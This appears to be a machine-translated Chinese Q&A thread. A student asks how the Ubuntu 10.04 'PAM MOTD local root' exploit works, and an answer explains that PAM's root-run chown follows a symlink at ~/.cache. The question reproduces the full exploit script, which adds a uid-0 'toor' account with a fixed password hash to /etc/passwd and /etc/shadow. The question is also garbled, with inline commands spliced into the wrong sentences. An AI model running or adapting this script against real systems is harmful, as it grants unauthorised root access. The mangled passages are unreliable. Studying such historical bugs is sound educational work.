为了完成我大学的计算机安全作业,我需要找到并理解一个适用于 ubuntu 10.04 的漏洞。我已经在一台 Ubuntu 10.04 机器(我自己的)上找到并测试了一个漏洞
这是漏洞,以普通用户身份运行,可获得 root 权限。摘自 Offensive Security 网站。
P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo "[*] Ubuntu PAM MOTD local root"
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
backup() {
[ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak
[ -e "$1" ] || return 0
mv "$1"{,.bak} || return 1
echo "[*] Backuped $1"
}
restore() {
[ -e "$1" ] && rm -rf "$1"
[ -e "$1".bak ] || return 0
mv "$1"{.bak,} || return 1
echo "[*] Restored $1"
}
key_create() {
backup ~/.ssh/authorized_keys
ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
[ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
echo "[*] SSH key set up"
}
key_remove() {
rm -f "$KEY"
restore ~/.ssh/authorized_keys
echo "[*] SSH key removed"
}
own() {
[ -e ~/.cache ] && rm -rf ~/.cache
ln -s "$1" ~/.cache || return 1
echo "[*] spawn ssh"
ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
[ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; bye; }
echo "[+] owned: $1"
}
bye() {
key_remove
exit 1
}
KEY="$(mktemp -u)"
key_create || { echo "[-] Failed to setup SSH key"; exit 1; }
backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; }
own /etc/passwd && echo "$P" >> /etc/passwd
own /etc/shadow && echo "$S" >> /etc/shadow
restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; }
key_remove
echo "[+] Success! Use password toor to get root"
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor
我理解它为什么要备份文件并生成一个密钥以供以后使用ssh
,以及它在缓存文件(运行脚本的用户有权读写的文件)和您想要拥有的文件之间建立软链接。
我不明白了为什么这些文件上没有文件缓存,而是创建了软echo "$P" >> /etc/passwd
链接echo "$S" >> /etc/shadow
?这些文件和缓存文件之间的软链接不就是为了能够写入吗?
在脚本中的这一点上,如何$USER
获得在 shadow 和 passwd 上写入的权限?答案显然与对 localhost 进行的 ssh 有关,但是为什么此 ssh 会授予这些权限?
之后我明白了会发生什么,一旦两个文件都被修改,用户 toor 就有了 root 权限,并且可以通过 su 命令调用。我的主要问题是理解 withssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
是否允许您同时获得 shadow 和 passwd 的写入权限。
答案1
这是pam_motd 中的一个错误具有早已被修补出去:
Ubuntu 9.10 上的 PAM 中 1.1.0-2ubuntu1.1 之前的 libpam-modules 中的 pam_motd(又名 MOTD 模块)和 Ubuntu 10.04 LTS 上的 PAM 中 1.1.1-2ubuntu5 之前的 libpam-modules 允许本地用户通过对用户主目录中的 .cache 进行符号链接攻击来更改任意文件的所有权,这与“用户文件戳记”和 motd.legal-notice 文件有关。
这基本上意味着,在使用 SSH 登录时,PAM(以 root 身份运行的身份验证模块)会尝试chown $USER: ~/.cache
。它没有查看那是什么,因此所有权更改会传播到链接文件。
这使您可以拥有并编辑系统文件并获得根级访问权限。
虽然.cache
符号链接到了,但/etc/{passwd,shadow}
它们可以回显到.cache
... 但何必呢?到那时,这些文件的文件所有权已更改为$USER
。它们可以自由编辑。
仅回答您的评论:
它不授予您权限,它(或者我应该说是它的 PAM 模块)是更改所有权的东西。但是,是的,PAM 所做的就是问题所在。
符号链接
~/.cache
只是漏洞利用的一个重定向。这是必需的,这样当您登录 PAM(以 root 身份运行)时,就会尝试访问chown
链接的文件。这是这在那里进行开发。这是一个疏忽,它被修复了在输入任何代码之前放弃特权。